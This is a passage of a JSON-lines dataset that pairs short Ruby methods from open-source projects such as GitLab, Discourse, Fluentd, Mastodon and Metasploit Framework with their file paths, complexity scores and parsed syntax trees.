end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_user_actions?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"action_types\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"anonymous?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_me?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"is_admin?\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"hide_user_activity_tab?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_types\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"private_types\"]}]}]},\"empty?\"]}]}]}","id":"3a9d3f5a-71e7-48fd-8ccb-69272db45a64"} {"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":78,"raw_source":"def unlock?\n request_method == 'UNLOCK'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unlock?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_method\"]},\"==\",{\"type\":\"str\",\"children\":[\"UNLOCK\"]}]}]}","id":"2841d31e-1fa6-4e12-88a6-ba3f5aaffc31"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_chunk.rb","start_line":252,"raw_source":"def write_metadata(update: true)\n data = @metadata.to_h.merge({\n id: @unique_id,\n s: (update ? @size + @adding_size : @size),\n c: @created_at,\n m: (update ? Fluent::Clock.real_now : @modified_at),\n })\n bin = Fluent::MessagePackFactory.thread_local_msgpack_packer.pack(data).full_pack\n size = [bin.bytesize].pack('N')\n @meta.seek(0, IO::SEEK_SET)\n @meta.write(BUFFER_HEADER + size + bin)\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"update\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"to_h\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@unique_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@size\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@adding_size\"]}]},{\"type\":\"ivar\",\"children\":[\"@size\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"ivar\",\"children\":[\"@created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"m\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Clock\"]},\"real_now\"]},{\"type\":\"ivar\",\"children\":[\"@modified_at\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"MessagePackFactory\"]},\"thread_local_msgpack_packer\"]},\"pack\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"full_pack\"]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bin\"]},\"bytesize\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"seek\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"SEEK_SET\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUFFER_HEADER\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"bin\"]}]}]}]}]}","id":"5ff319b8-a87a-450f-ae8f-5ecb192d5cb5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/enc_ap_rep_part.rb","start_line":32,"raw_source":"def decode(input)\n case input\n when String\n decode_string(input)\n when OpenSSL::ASN1::ASN1Data\n decode_asn1(input)\n else\n raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncApRepPart, invalid input'\n end\n\n self\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"decode_string\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},{\"type\":\"send\",\"children\":[null,\"decode_asn1\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosDecodingError\"]},{\"type\":\"str\",\"children\":[\"Failed to decode EncApRepPart, invalid input\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"18483cba-39f2-44cf-9d3c-192c5bac15ed"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/settings_menu.rb","start_line":39,"raw_source":"def enabled_menu_items\n if can?(context.current_user, :admin_project, context.project)\n [\n general_menu_item,\n integrations_menu_item,\n webhooks_menu_item,\n access_tokens_menu_item,\n repository_menu_item,\n merge_requests_menu_item,\n ci_cd_menu_item,\n packages_and_registries_menu_item,\n monitor_menu_item,\n usage_quotas_menu_item\n ]\n else\n []\n end\n end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"general_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"integrations_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"webhooks_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"access_tokens_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"repository_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"merge_requests_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"ci_cd_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"packages_and_registries_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"monitor_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"usage_quotas_menu_item\"]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"2316e0bd-6d28-4182-a253-af06f222f79f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/respond_to_terms_service.rb","start_line":11,"raw_source":"def execute(accepted:)\n agreement = @user.term_agreements.find_or_initialize_by(term: @term)\n agreement.accepted = accepted\n\n if agreement.save\n store_accepted_term(accepted)\n end\n\n agreement\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"accepted\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agreement\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"term_agreements\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"term\"]},{\"type\":\"ivar\",\"children\":[\"@term\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agreement\"]},\"accepted=\",{\"type\":\"lvar\",\"children\":[\"accepted\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agreement\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"store_accepted_term\",{\"type\":\"lvar\",\"children\":[\"accepted\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"agreement\"]}]}]}","id":"bf50c84b-ab50-47a9-a239-d3f1d7ae5baf"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/services/ldap_groups/synchronize_groups_service.rb","start_line":31,"raw_source":"def synchronize_members(sync_group, ldap_con)\n user_data = get_members(ldap_con, sync_group)\n\n # Create users that are not existing\n users = map_to_users(sync_group, user_data)\n\n update_memberships!(sync_group, users)\n rescue StandardError => e\n Rails.logger.error \"[LDAP groups] Failed to synchronize group: #{sync_group.dn}: #{e.class} #{e.message}\"\n raise e\n end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronize_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_group\"]},{\"type\":\"arg\",\"children\":[\"ldap_con\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_data\",{\"type\":\"send\",\"children\":[null,\"get_members\",{\"type\":\"lvar\",\"children\":[\"ldap_con\"]},{\"type\":\"lvar\",\"children\":[\"sync_group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"map_to_users\",{\"type\":\"lvar\",\"children\":[\"sync_group\"]},{\"type\":\"lvar\",\"children\":[\"user_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_memberships!\",{\"type\":\"lvar\",\"children\":[\"sync_group\"]},{\"type\":\"lvar\",\"children\":[\"users\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[LDAP groups] Failed to synchronize group: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_group\"]},\"dn\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"6934d472-612c-4812-a53c-8e220d164be7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/dev_ops_report/metric_presenter.rb","start_line":138,"raw_source":"def average_percentage_score\n cards.sum(&:percentage_score) / cards.size.to_f\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"average_percentage_score\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cards\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"percentage_score\"]}]}]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cards\"]},\"size\"]},\"to_f\"]}]}]}","id":"bb062449-3640-4892-802f-6ab8f14f5984"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/java.rb","start_line":16,"raw_source":"def generate_stage(opts={})\n generate_default_stage(opts)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"generate_default_stage\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"758570be-1a80-4c21-97b0-1dfd633794dd"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/oembed_serializer.rb","start_line":74,"raw_source":"def html\n <<~HTML.squish\n
\n \n \n
Post by @#{object.account.pretty_acct}@#{provider_name}
\n
View on Mastodon
\n
\n
\n \n HTML\n end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"
\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\"
Post by @\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]},\"pretty_acct\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provider_name\"]}]},{\"type\":\"str\",\"children\":[\"
\\n\"]},{\"type\":\"str\",\"children\":[\"
View on Mastodon
\\n\"]},{\"type\":\"str\",\"children\":[\"
\\n\"]},{\"type\":\"str\",\"children\":[\"
\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"squish\"]}]}","id":"7cb24918-e911-411b-bd58-1f1259d75f23"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/import_export_upload.rb","start_line":37,"raw_source":"def export_archive_exists?\n !!carrierwave_export_file&.exists?\n # Handle any HTTP unexpected error\n # https://github.com/excon/excon/blob/bbb5bd791d0bb2251593b80e3bce98dbec6e8f24/lib/excon/error.rb#L129-L169\n rescue Excon::Error => e\n # The HEAD request will fail with a 403 Forbidden if the file does not\n # exist, and the user does not have permission to list the object\n # storage bucket.\n Gitlab::ErrorTracking.track_exception(e)\n false\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"export_archive_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"carrierwave_export_file\"]},\"exists?\"]},\"!\"]},\"!\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Excon\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"75a9b82b-8636-4291-96f7-0599a8bb1310"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/pretty_text.rb","start_line":158,"raw_source":"def self.reset_translations\n v8.eval(\"__resetTranslationTree()\")\n end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reset_translations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"v8\"]},\"eval\",{\"type\":\"str\",\"children\":[\"__resetTranslationTree()\"]}]}]}","id":"7ad85d31-15c1-4c64-8847-a009075a159a"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/classification.rb","start_line":270,"raw_source":"def add_entry(options)\n raise _(\"entries can only be added to classifications\") unless category?\n\n # Inherit from parent classification\n options.merge!(:read_only => read_only, :syntax => syntax, :single_value => single_value, :ns => ns)\n children.create!(options)\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"entries can only be added to classifications\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_only\"]},{\"type\":\"send\",\"children\":[null,\"read_only\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"syntax\"]},{\"type\":\"send\",\"children\":[null,\"syntax\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"single_value\"]},{\"type\":\"send\",\"children\":[null,\"single_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"send\",\"children\":[null,\"ns\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"47d3fd99-619e-4e48-a70f-6f3d1ea9fcdd"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/spec/lib/scorables/solutions_spec.rb","start_line":20,"raw_source":"def query_results\n DB.query(described_class.query, since: 2.days.ago)\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"query_results\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"since\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"days\"]},\"ago\"]}]}]}]}]}","id":"7910a9e0-3a22-4119-bbd8-66deae141cbe"} {"repo_name":"forem","file_path":"./repos/forem/spec/requests/comments_create_spec.rb","start_line":202,"raw_source":"def reply_and_mention_comment_author_as_moderator(comment)\n allow(Settings::General).to receive(:mascot_user_id)\n .and_return(moderator_replier.id)\n\n sign_in moderator_replier\n post moderator_create_comments_path, params: comment_params(\n parent_id: comment.id,\n ).merge(response_template: { id: response_template.id })\n expect(response).to be_successful\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_and_mention_comment_author_as_moderator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"mascot_user_id\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"moderator_replier\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sign_in\",{\"type\":\"send\",\"children\":[null,\"moderator_replier\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"moderator_create_comments_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"id\"]}]}]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response_template\"]},\"id\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"response\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_successful\"]}]}]}]}","id":"dfb50405-449c-43e7-a3c4-8274edd854f2"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/controllers/costlog_controller.rb","start_line":164,"raw_source":"def cost_entry_params\n params.expect(cost_entry: %i[user_id entity_id entity_type spent_on cost_type_id units comments])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cost_entry_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cost_entry\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"entity_id\"]},{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"sym\",\"children\":[\"spent_on\"]},{\"type\":\"sym\",\"children\":[\"cost_type_id\"]},{\"type\":\"sym\",\"children\":[\"units\"]},{\"type\":\"sym\",\"children\":[\"comments\"]}]}]}]}]}]}","id":"e0a31877-1248-48a1-8bdc-1ffad6bf6d91"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/cached_counting.rb","start_line":118,"raw_source":"def self.flush_to_db\n redis = Discourse.redis.without_namespace\n DistributedMutex.synchronize(\"flush_counters_to_db\", redis: redis, validity: 5.minutes) do\n if allowed_to_flush_to_db?\n redis\n .hkeys(COUNTER_REDIS_HASH)\n .each do |key|\n val = LUA_HGET_DEL.eval(redis, [COUNTER_REDIS_HASH, key]).to_i\n\n # unlikely (protected by mutex), but protect just in case\n # could be a race condition in test\n if val > 0\n klass_name, db, date, local_key = key.split(\",\", 4)\n date = Date.strptime(date, \"%Y%m%d\")\n klass = Module.const_get(klass_name)\n\n RailsMultisite::ConnectionManagement.with_connection(db) do\n klass.write_cache!(local_key, val, date)\n end\n end\n end\n end\n end\n end","complexity_score":47.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"flush_to_db\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"redis\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"without_namespace\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"str\",\"children\":[\"flush_counters_to_db\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"lvar\",\"children\":[\"redis\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"minutes\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_flush_to_db?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"hkeys\",{\"type\":\"const\",\"children\":[null,\"COUNTER_REDIS_HASH\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LUA_HGET_DEL\"]},\"eval\",{\"type\":\"lvar\",\"children\":[\"redis\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COUNTER_REDIS_HASH\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass_name\"]},{\"type\":\"lvasgn\",\"children\":[\"db\"]},{\"type\":\"lvasgn\",\"children\":[\"date\"]},{\"type\":\"lvasgn\",\"children\":[\"local_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"strptime\",{\"type\":\"lvar\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"%Y%m%d\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"klass_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"with_connection\",{\"type\":\"lvar\",\"children\":[\"db\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"write_cache!\",{\"type\":\"lvar\",\"children\":[\"local_key\"]},{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}]},null]}]}]},null]}]}]}]}","id":"79bbfc73-43b3-4e70-95f9-3b6dcac6d79a"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/spec/features/support/board_page.rb","start_line":358,"raw_source":"def rename_list(from, to)\n input = page.find_field(\"editable-toolbar-title\", with: from).click\n input.set to\n input.send_keys :enter\n\n expect_and_dismiss_toaster message: I18n.t(\"js.notice_successful_update\")\n 